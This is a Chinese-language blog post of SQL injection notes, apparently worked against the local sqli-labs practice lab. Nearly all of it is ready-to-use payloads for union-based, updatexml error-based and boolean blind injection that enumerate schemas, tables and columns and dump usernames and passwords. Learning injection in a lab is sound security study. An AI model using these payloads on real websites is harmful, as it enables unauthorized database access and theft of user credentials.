sql注入笔记

2024-03-22 982 0

一、有回显联合注入

判断是否有注入点

http://127.0.0.1/sqli-labs/Less-1/?id=1'报错

http://127.0.0.1/sqli-labs/Less-1/?id=1''没有报错,说明是字符型

http://127.0.0.1/sqli-labs/Less-1/?id=1'and 1='1    可以执行sql语句

http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 3--+  判断列数为3列

http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata  --+               查询所有数据库

http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='mysql'  --+     查询所有表

http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='mysql' and table_name='db'  --+ 查询列

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(username,':',password),3 from users --+                查询数据

二、报错注入:

1、

?id=1%27%20and%20(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata),0x7e),1))%20--+

说明不只一个数据库

2、

?id=1%27%20and%20(updatexml(1,concat(0x7e,(select count(schema_name) from information_schema.schemata),0x7e),1))%20--+

直接查询数据库的数量为5

?id=1%27%20and%20(updatexml(1,concat(0x7e,((select count(schema_name) from information_schema.schemata)='5'),0x7e),1))%20--+

报错为1,说明有5个数据库

3、

d=1%27%20and%20(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1),0x7e),1))%20--+

用limit限制出第5个数据库为security

4、

?id=1%27%20and%20(updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='security' ),0x7e),1))%20--+

查询出security有4个表

5、

?id=1%27%20and%20(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1))%20--+

用limit限制出第四个表为users

6、

?id=1%27%20and%20(updatexml(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1))%20--+

发现有3个字段,可以用group_concat直接输出

?id=1%27%20and%20(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1))%20--+

7、

?id=1%27%20and%20(updatexml(1,concat(0x7e,(select id from users limit 1,1),0x7e),1))%20--+

直接拖库

三、布尔盲注:

1、

?id=1' and (select count(schema_name) from information_schema.schemata)='5'--+

猜解数据库为5

2、

?id=1' and substr((select schema_name from information_schema.schemata limit 4,1),1,1)='s'--+

用limit限制出第5个数据库,并用substr限制出第第5个数据库的第1个字符,猜解得出为s

?id=1' and substr((select schema_name from information_schema.schemata limit 4,1),2,1)='e'--+

第二个字符为e,以此类推,猜解出数据库为security

3、

?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')='4'--+

猜解出表的个数为security数据库的表数为4个

4、

?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 3,1))='5'--+

猜解出第4个表的长度为5

5、

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u'--+

猜解出security数据库的第4个表的第1个字母为u

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),2,1)='s'--+

第2个字母为s,以此类推表名为users

6、

?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')='3' --+

猜解出字段数为3

7、

?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)='2'--+

猜解出users表的第一个字段的长度为2

8、

?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+

猜解出字段的第1个值为i

9、

?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)='d'--+

猜解出第1个字段的第2个值为d

10、

?id=1' and (select length(id) from users limit 0,1)='1'--+

猜解出id列第1行的长度为1

11、

?id=1' and substr((select id from users limit 0,1),1,1)='1'--+

猜解出第1个id的值为1

以此类推。。。。。。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

电力企业 | 安全建设框架
HTB-Infiltrator:一文带你走进域渗透
JAVA安全 | Classloader:理解与利用一篇就够了
多角度揭秘威胁行为组织CryptoCore复杂的加密货币欺诈活动
网络空间的“边水往事”?针对华语黑产及用户进行攻击的 APT-K-UN3 活动分析
伪装“黑神话悟空修改器”传播木马的活动分析

发布评论